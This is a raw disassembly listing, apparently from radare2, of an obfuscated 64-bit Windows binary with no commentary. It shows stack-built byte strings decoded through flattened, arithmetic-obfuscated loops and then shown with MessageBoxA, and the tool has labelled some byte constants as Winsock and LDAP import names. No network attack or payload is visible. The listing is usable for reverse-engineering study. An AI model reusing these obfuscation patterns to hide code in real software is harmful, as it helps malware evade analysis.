mov byte [rbp + 0x86c], Ordinal_200
mov byte [rbp + 0x86d], 0xb1
mov byte [rbp + 0x86e], reloc.WS2_32.dll_recv
mov byte [rbp + 0x86f], 2
mov byte [rbp + 0x870], 0
mov byte [rbp + 0x871], 0xad
mov byte [rbp + 0x872], reloc.WS2_32.dll_send
mov byte [rbp + 0x873], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x874], 0xa8
mov byte [rbp + 0x875], 0
mov byte [rbp + 0x876], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x877], 0xa
mov byte [rbp + 0x878], 0xa4
mov byte [rbp + 0x879], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x87a], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x87b], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x87c], recv
mov byte [rbp + 0x87d], Ordinal_30
mov byte [rbp + 0x87e], Ordinal_45
mov byte [rbp + 0x87f], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x880], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x881], 0xe9
mov byte [rbp + 0x882], 0x9a
mov byte [rbp + 0x883], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x884], Ordinal_45
mov byte [rbp + 0x885], gethostname
mov byte [rbp + 0x886], gethostname
mov byte [rbp + 0x887], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x888], Ordinal_217
mov byte [rbp + 0x889], Ordinal_45
mov byte [rbp + 0x88a], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x88b], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x88c], 0x3d
mov byte [rbp + 0x88d], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x88e], Ordinal_35
mov byte [rbp + 0x88f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x890], gethostname
mov byte [rbp + 0x891], Ordinal_35
mov byte [rbp + 0x892], Ordinal_143
mov byte [rbp + 0x893], 0xca
mov byte [rbp + 0x894], Ordinal_41
mov byte [rbp + Ordinal_1435], 0x89
mov byte [rbp + 0x896], 0x3e
mov byte [rbp + 0x897], 0x3e
mov byte [rbp + 0x898], 0x3f
mov byte [rbp + 0x899], 0x3d
mov byte [rbp + 0x89a], 0x82
mov byte [rbp + 0x89b], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x89c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x89d], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x89e], Ordinal_79
mov byte [rbp + 0x89f], 0xff
mov byte [rbp + 0x8a0], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8a1], 0x47
mov byte [rbp + 0x8a2], 0xfa
mov byte [rbp + 0x8a3], 0x40
mov byte [rbp + 0x8a4], 0x45
mov byte [rbp + 0x8a5], 0x55
mov byte [rbp + 0x8a6], 0x5a
mov byte [rbp + 0x8a7], Ordinal_79
mov byte [rbp + 0x8a8], 0x46
mov byte [rbp + 0x8a9], Ordinal_79
mov byte [rbp + 0x8aa], 0xf2
mov byte [rbp + 0x8ab], Ordinal_79
mov byte [rbp + 0x8ac], 0xb1
mov byte [rbp + 0x8ad], 0x43
mov byte [rbp + 0x8ae], 0x5c
mov byte [rbp + 0x8af], 0x52
mov byte [rbp + 0x8b0], 0x50
mov byte [rbp + 0x8b1], 0x9f
mov byte [rbp + 0x8b2], 0xea
mov byte [rbp + 0x8b3], 0xbb
mov byte [rbp + 0x8b4], 0x5c
mov byte [rbp + 0x8b5], 0x54
mov byte [rbp + 0x8b6], 0xa7
mov byte [rbp + 0x8b7], 0x48
mov byte [rbp + 0x8b8], 0x59
mov byte [rbp + 0x8b9], 0xe5
mov byte [rbp + 0x8ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x8bb], Ordinal_79
mov byte [rbp + 0x8bc], 0x5d
mov byte [rbp + 0x8bd], 0xe1
mov byte [rbp + 0x8be], 0x9f
mov byte [rbp + 0x8bf], WSASetLastError
mov byte [rbp + 0x8c0], 0xdc
mov byte [rbp + 0x8c1], 0x9c
mov byte [rbp + 0x8c2], WSASetLastError
mov byte [rbp + 0x8c3], 0x77
mov byte [rbp + 0x8c4], 0x65
mov byte [rbp + 0x8c5], 0x77
mov byte [rbp + 0x8c6], 0x64
mov byte [rbp + 0x8c7], __WSAFDIsSet
mov byte [rbp + 0x8c8], 0x78
mov byte [rbp + 0x8c9], 0x68
mov byte [rbp + 0x8ca], Ordinal_211
mov byte [rbp + 0x8cb], __WSAFDIsSet
mov byte [rbp + 0x8cc], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x8cd], WSASetLastError
mov byte [rbp + 0x8ce], 0x7d
mov byte [rbp + 0x8cf], 0x62
mov byte [rbp + 0x8d0], 0x7e
mov byte [rbp + 0x8d1], 0x61
mov byte [rbp + 0x8d2], 0xca
mov byte [rbp + 0x8d3], 0x78
mov byte [rbp + 0x8d4], 0x66
mov byte [rbp + 0x8d5], 0xc9
mov byte [rbp + 0x8d6], 0x76
mov byte [rbp + 0x8d7], WSAGetLastError
mov byte [rbp + 0x8d8], 0x77
mov byte [rbp + 0x8d9], 0x7a
mov byte [rbp + 0x8da], 0x7f
mov byte [rbp + 0x8db], 0x7e
mov byte [rbp + 0x8dc], 0x7c
mov byte [rbp + 0x8dd], 0xc1
mov byte [rbp + 0x8de], __WSAFDIsSet
mov byte [rbp + 0x8df], 0x86
mov byte [rbp + 0x8e0], 0x90
mov byte [rbp + 0x8e1], 0x85
mov byte [rbp + 0x8e2], Ordinal_60
mov byte [rbp + 0x8e3], 0x84
mov byte [rbp + 0x8e4], 0x79
mov byte [rbp + 0x8e5], __WSAFDIsSet
mov byte [rbp + 0x8e6], 0x9a
mov byte [rbp + Ordinal_1437], 0x8e
mov byte [rbp + 0x8e8], 0x87
mov byte [rbp + 0x8e9], 0x87
mov byte [rbp + 0x8ea], gethostname
mov byte [rbp + 0x8eb], reloc.WS2_32.dll_send
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8ec], xmm0
mov dword [rbp + 0x8fc], eax
mov word [rbp + 0x900], ax
mov byte [rbp + 0x902], al
movabs r14, 0xe08c75fd96e28972
movabs r12, 0x23d739ef2031c21e
movabs r15, 0xa1a561f8c4a79c56
movzx r11d, byte [rsp + 0x30]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0xb3
jae 0x1400b9e95
movzx ebx, byte [rbp + rdi + 0x850]
mov edx, ebx
nop dword [rax]
cmp r8, rdi
ja 0x1400b9e8c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b93ac
lea rcx, [rdi + r14]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x1e
jmp 0x1400b93f3
je 0x1400b9e1f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b9d97
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b9d67
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b9d43
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b9d1c
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b9cd7
movzx r10d, dil
cmp r9, rdi
ja 0x1400b9e83
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400b9420
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x1400b9460
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b9cbb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b9c99
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b9c79
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b9c5d
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b99b8
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b9999
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b9974
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b9952
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b9939
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b9919
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b98fd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b98e3
lea rcx, [r9 + 2]
cmp r8, rcx
je 0x1400b98c3
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b9892
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b9470
mov r8, rcx
lea r9, [rcx + 0x200]
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400b9e67
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400b9e47
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400b9659
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400b963f
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400b9625
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400b9846
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400b9805
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400b97c6
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400b979f
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400b9470
lea r8, [r9 + 0x64]
lea r9, [r8 + 5]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b976e
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b9752
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b9738
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400b9718
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b96f8
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400b96df
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b96bd
lea rcx, [r9 + 0x28]
cmp r8, rcx
ja 0x1400b9698
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b9679
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b9470
mov r8, rcx
lea r9, [rcx + 0x3e8]
jmp 0x1400b9470
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
jmp 0x1400b9460
lea ecx, [r10 + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x1400b93f7
add r10b, 0x1e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9380
lea edx, [r10 - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b9cf0
sub r10b, 0x14
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x74
inc r9
dec rdi
inc rdi
jmp 0x1400b9362
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x38
dec rdi
inc rdi
jmp 0x1400b9362
lea edx, [r10 + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400b9c1e
add r10b, 0x40
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9d7b
add r10b, 0x5c
movzx eax, r10b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9d7e
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x1400b9db2
sub r10b, 0x6c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0xc
jmp 0x1400b9ddd
sub r10b, 0x50
movzx eax, r10b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9362
add r10b, 0x76
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x3a
mov byte [rbp + rdi + 0x850], r11b
inc rdi
jmp 0x1400b9362
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x5a
jb 0x1400b97b6
lea ecx, [r10 + 0x6c]
movzx eax, cl
and al, bl
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400b9cf0
lea edx, [r10 - 0x52]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x20
jae 0x1400b9c08
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400b9b04
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1400b97d4
lea edx, [r10 - 0x36]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400b9c47
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400b9a87
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
jmp 0x1400b981f
add r10b, 0x1c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9362
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9ddd
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400b9db2
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
jmp 0x1400b9d7e
sub r10b, 0x74
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9d7b
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400b9c1e
sub r10b, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
dec rdi
inc rdi
jmp 0x1400b9362
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400b9362
lea edx, [r10 - 4]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b9cf0
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400b99db
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
jmp 0x1400b9860
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b9a15
sub r10b, 0x4c
movzx eax, r10b
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9362
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b9a38
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1400b9db2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b9a5b
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400b9c24
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b9860
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b9cf0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b9aaa
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x1400b9cf0
inc rax
cmp r8, rax
jne 0x1400b9ad8
sub r10b, 0x2a
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400b9362
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b981f
lea edx, [r10 + 0x66]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b9db2
jne 0x1400b9b37
add r10b, 0x68
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9362
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b9b5a
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x1400b9db2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b9b83
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9d7b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b9bae
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400b9362
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b9bdc
sub r10b, 0x5c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7c
inc r9
dec rdi
inc rdi
jmp 0x1400b9362
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b97e0
lea edx, [r10 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b9cf0
lea edx, [r10 + 0x50]
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
add r11b, bl
sub r10b, 0x3e
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x4e
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x850], bl
jmp 0x1400b9d7b
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x6c]
jmp 0x1400b9db2
add r10b, 0x7a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x56
jmp 0x1400b9ddd
sub r10b, 0x4e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9d7e
add r10b, 6
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x2a
dec rdi
inc rdi
jmp 0x1400b9362
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b9cf0
movzx r10d, dil
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
sub r10b, 0x22
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x12
add r10b, bl
mov byte [rbp + rdi + 0x850], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b9362
lea edx, [rdi - 0x6e]
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400b9362
lea edx, [rdi - 0x52]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400b9362
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b9362
lea rcx, [rdi + r12]
and dl, cl
mov eax, reloc.WS2_32.dll_socket
sub al, dl
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx r10d, dil
sub r10b, 0x5a
movzx eax, r10b
and al, bl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x850], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x850], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9362
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub bl, dl
lea r11d, [rax + rbx]
sub r11b, 0x5a
movzx eax, byte [rbp + rdi + 0x850]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b9362
add r10b, 0x3a
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b9360
add r10b, 0x56
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5a
jmp 0x1400b9350
lea rdx, [rbp + 0x17460e8]
jmp 0x1400b9e9c
lea rdx, [rbp + 0x96ea5a]
jmp 0x1400b9e9c
lea rdx, [rbp + 0x850]
mov r9d, Ordinal_50
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs r12, 0x7a3b98d3136f38d5
movabs r13, 0x785adc28351bd546
movzx r15d, byte [rsp + 0x30]
movzx r14d, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
mov byte [rbp + 0x348], 0xf0
mov byte [rbp + 0x349], __WSAFDIsSet
mov byte [rbp + 0x34a], 0xe2
mov byte [rbp + 0x34b], 0xe7
mov byte [rbp + 0x34c], 0x9b
mov byte [rbp + 0x34d], __WSAFDIsSet
mov byte [rbp + 0x34e], 0xf8
mov byte [rbp + 0x34f], 0xe3
mov byte [rbp + 0x350], 0xe9
mov byte [rbp + 0x351], __WSAFDIsSet
mov byte [rbp + 0x352], 0xe7
mov byte [rbp + 0x353], 0xa5
mov byte [rbp + 0x354], 0xf4
mov byte [rbp + 0x355], 0xda
mov byte [rbp + 0x356], 0xa4
mov byte [rbp + 0x357], Ordinal_211
mov byte [rbp + 0x358], 0xe4
mov byte [rbp + 0x359], 0xde
mov byte [rbp + 0x35a], 0xac
mov byte [rbp + 0x35b], Ordinal_211
mov byte [rbp + 0x35c], Ordinal_60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x35d], xmm0
mov qword [rbp + 0x36d], rax
mov dword [rbp + 0x375], eax
mov word [rbp + 0x379], ax
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400ba9f5
movzx r10d, byte [rbp + rdi + 0x348]
mov ebx, r10d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400ba9ec
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b9fec
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r15, rax, 0xfffffffffffffffe
add r15, rbx
add r15, rcx
add r15b, 0x2d
jmp 0x1400ba019
je 0x1400ba978
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ba8ea
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ba8b5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ba894
movzx r11d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400ba9e3
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400ba04d
lea ecx, [r11 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x4f
jmp 0x1400ba080
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ba84d
inc rax
cmp r8, rax
je 0x1400ba82a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ba7e6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ba7c7
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400ba4d1
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400ba4b4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ba48e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400ba467
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400ba44a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400ba42a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400ba409
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400ba9c7
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400ba9aa
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400ba207
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400ba1e8
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400ba1c9
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400ba3b8
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400ba341
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x64]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400ba313
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400ba2f2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400ba2d2
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400ba2b5
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400ba291
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400ba274
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400ba251
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400ba227
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x3e8]
jmp 0x1400ba090
lea edx, [r11 - 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x6f
add r15b, dl
jmp 0x1400ba080
lea edx, [r11 - 3]
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x15
add r15b, dl
jmp 0x1400ba020
add r11b, 0x53
movzx eax, r10b
and al, r11b
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x45
add r15b, r11b
jmp 0x1400b9fc0
add r11b, 0x1e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b9fa2
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x2c
dec rdi
inc rdi
jmp 0x1400b9fa2
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
jmp 0x1400ba7fd
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
add r8, r9
jmp 0x1400ba8d1
add r11b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r15d, [r11 + r10]
sub r15b, 0x3a
jmp 0x1400ba8d1
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, dl
jmp 0x1400ba90d
add r11b, 0x22
movzx eax, r10b
and al, r11b
